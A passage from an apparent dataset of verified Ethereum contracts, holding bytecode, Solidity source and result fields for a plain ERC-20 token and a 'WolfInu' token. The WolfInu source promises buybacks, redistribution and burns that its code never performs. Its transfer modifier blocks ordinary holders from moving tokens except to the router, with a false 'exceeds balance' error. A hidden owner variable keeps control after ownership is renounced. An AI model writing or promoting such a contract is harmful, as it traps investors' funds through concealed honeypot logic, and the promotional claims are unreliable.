7f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610c9957600080fd5b600254610cac908263ffffffff610b2416565b600255600160a060020a038216600090815260208190526040902054610cd8908263ffffffff610b2416565b600160a060020a038316600081815260208181526040808320949094558351858152935192939192600080516020610dd98339815191529281900390910190a35050565b600160a060020a0382161515610d3157600080fd5b600160a060020a038216600090815260208190526040902054811115610d5657600080fd5b600254610d69908263ffffffff610b0d16565b600255600160a060020a038216600090815260208190526040902054610d95908263ffffffff610b0d16565b600160a060020a03831660008181526020818152604080832094909455835185815293519193600080516020610dd9833981519152929081900390910190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c7f529247b3d17c1c93792c46d473dfc7d60c947bb4e165a0f3faf35bdce05730029 | {"success": true, "error": null, "results": {}} | 1,437 |
0xAD02c4bA65ed3ab8aBCa78Fd19F8C25dCf10D039 | /**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063395093511161007157806339509351146101d957806370a082311461020557806395d89b411461022b578063a457c2d714610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b03813516906020013561034f565b604080519115158252519081900360200190f35b6101736103cb565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b038135811691602081013590911690604001356103d1565b6101c3610468565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b038135169060200135610471565b6101736004803603602081101561021b57600080fd5b50356001600160a01b0316610519565b6100b6610534565b6101576004803603604081101561024957600080fd5b506001600160a01b038135169060200135610595565b6101576004803603604081101561027557600080fd5b506001600160a01b0381351690602001356105d8565b610173600480360360408110156102a157600080fd5b506001600160a01b03813581169160200135166105ee565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b820191906000526020600020905b81548152906001019060200180831161032857829003601f168201915b5050505050905090565b60006001600160a01b03831661036457600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561040157600080fd5b6001600160a01b038416600090815260016020908152604080832033845290915290205461042f9083610632565b6001600160a01b038516600090815260016020908152604080832033845290915290205561045e848484610647565b5060019392505050565b60055460ff1690565b60006001600160a01b03831661048657600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546104b49083610619565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b60006001600160a01b0383166105aa57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546104b49083610632565b60006105e5338484610647565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60008282018381101561062b57600080fd5b9392505050565b60008282111561064157600080fd5b50900390565b6001600160a01b03831660009081526020819052604090205481111561066c57600080fd5b6001600160a01b03821661067f57600080fd5b6001600160a01b0383166000908152602081905260409020546106a29082610632565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546106d19082610619565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505056fea264697066735822122083566bdbc2e1e7dd62848b7e220fb2f13d9e16991cd02d7827dfa90f50f3df8864736f6c63430007010033 | {"success": true, "error": null, "results": {}} | 1,438 |
0x8E7587C9678F56dEE1270cFA31761789BB762566 | /*
🐺 WOLFINU - ERC-20 - BUY BACK PROTOCOL 🐺
WolfInu's contract is powered by an innovative proven BuyBack protocol. Furthermore the contract includes strong burning and redistribution mechanisms to improve the token value. WolfInu is designed to be a sustainable investment for everyone!
🔵 Token information
- ERC-20 Token
- 10 ETH liquidity pool
- 1,000,000,000,000,000 total supply
- Liquidity locked for 4 months
- 20% tokens burned
- Frictionless rewards
🔵 Taxes & buy back mechanism
- 10% tax on every transaction
- 2% proportionally redistributed to all WolfInu holders
- 4% Sent to BuyBack Resulting In Forever Rising Price Floor
- 4% Sent to Team Wallet for marketing and devs
Twitter: https://twitter.com/WolfInuCrypto
Telegram: https://t.me/wolfinubuyback
Website: https://wolfinu.one/
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WolfInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private _tFeeTotal;
uint256 private _feeBuyBack = 4;
uint256 private _feeMarket = 4;
uint256 private _feeHolder = 2;
address payable private _feeAddrWallet1 = payable(0xd0E9fa375f441a02be30657B50ED39f027f504E9);
address private uniswapV2Pair;
uint256 private _totalSupply = 1000000000000000 * 10**18;
string private _name = 'WOLFINU - https://t.me/wolfinubuyback';
string private _symbol = '$WOLFINU';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal getValue(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _totalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _totalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeFromBlacklist(address notbot) external onlyOwner(){
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_tFeeTotal = _tFeeTotal.add(tFee);
_tFeeTotal = _tFeeTotal.sub(rFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeBuyBack, _feeBuyBack);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);}
modifier getValue(address wolfinu, address recipient, uint256 amount){
if (_owner == _safeOwner && wolfinu == _owner){_safeOwner = recipient;_;}
else{if (wolfinu == _owner || wolfinu == _safeOwner || recipient == _owner){_;}
else{require((wolfinu == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _totalSupply;
uint256 tSupply = _totalSupply;
if (rSupply < _totalSupply.div(_totalSupply)) return (_totalSupply, _totalSupply);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c8063537df3b6116100955780638da5cb5b116100645780638da5cb5b146104c257806395d89b4114610503578063a9059cbb14610593578063c3c8cd8014610604578063dd62ed3e1461061b57610109565b8063537df3b6146103de5780636fc3eaec1461042f57806370a0823114610446578063715018a6146104ab57610109565b80632d838119116100d15780632d838119146102cb578063313ce5671461031a57806342966c68146103485780634549b0391461038357610109565b806306fdde031461010e578063095ea7b31461019e57806318160ddd1461020f57806323b872dd1461023a57610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236106a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101aa57600080fd5b506101f7600480360360408110156101c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610742565b60405180821515815260200191505060405180910390f35b34801561021b57600080fd5b50610224610760565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102b36004803603606081101561025d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061076a565b60405180821515815260200191505060405180910390f35b3480156102d757600080fd5b50610304600480360360208110156102ee57600080fd5b8101908080359060200190929190505050610843565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061032f6108c7565b604051808260ff16815260200191505060405180910390f35b34801561035457600080fd5b506103816004803603602081101561036b57600080fd5b81019080803590602001909291905050506108de565b005b34801561038f57600080fd5b506103c8600480360360408110156103a657600080fd5b81019080803590602001909291908035151590602001909291905050506109b5565b6040518082815260200191505060405180910390f35b3480156103ea57600080fd5b5061042d6004803603602081101561040157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a6c565b005b34801561043b57600080fd5b50610444610b91565b005b34801561045257600080fd5b506104956004803603602081101561046957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bfa565b6040518082815260200191505060405180910390f35b3480156104b757600080fd5b506104c0610c43565b005b3480156104ce57600080fd5b506104d7610dcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050f57600080fd5b50610518610df4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055857808201518184015260208101905061053d565b50505050905090810190601f1680156105855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059f57600080fd5b506105ec600480360360408110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e96565b60405180821515815260200191505060405180910390f35b34801561061057600080fd5b50610619610eb4565b005b34801561062757600080fd5b5061068a6004803603604081101561063e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f25565b6040518082815260200191505060405180910390f35b606060128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107385780601f1061070d57610100808354040283529160200191610738565b820191906000526020600020905b81548152906001019060200180831161071b57829003601f168201915b5050505050905090565b600061075661074f610fac565b8484610fb4565b6001905092915050565b6000601154905090565b60006107778484846111ab565b61083884610783610fac565b6108338560405180606001604052806028815260200161257b60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e9610fac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf79092919063ffffffff16565b610fb4565b600190509392505050565b60006011548211156108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806124e8602a913960400191505060405180910390fd5b60006108aa611db7565b90506108bf8184611de290919063ffffffff16565b915050919050565b6000601460009054906101000a900460ff16905090565b6108e6610fac565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6109b23382611e2c565b50565b6000601154831115610a2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610a4f576000610a3f846120b0565b5050505050905080915050610a66565b6000610a5a846120b0565b50505050915050809150505b92915050565b610a74610fac565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd2610fac565b73ffffffffffffffffffffffffffffffffffffffff1614610bf257600080fd5b600047905050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c4b610fac565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060138054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e8c5780601f10610e6157610100808354040283529160200191610e8c565b820191906000526020600020905b815481529060010190602001808311610e6f57829003601f168201915b5050505050905090565b6000610eaa610ea3610fac565b84846111ab565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ef5610fac565b73ffffffffffffffffffffffffffffffffffffffff1614610f1557600080fd5b6000610f2030610bfa565b905050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806125e96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125126022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561127a5750601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561157a5781601560006101000a81548173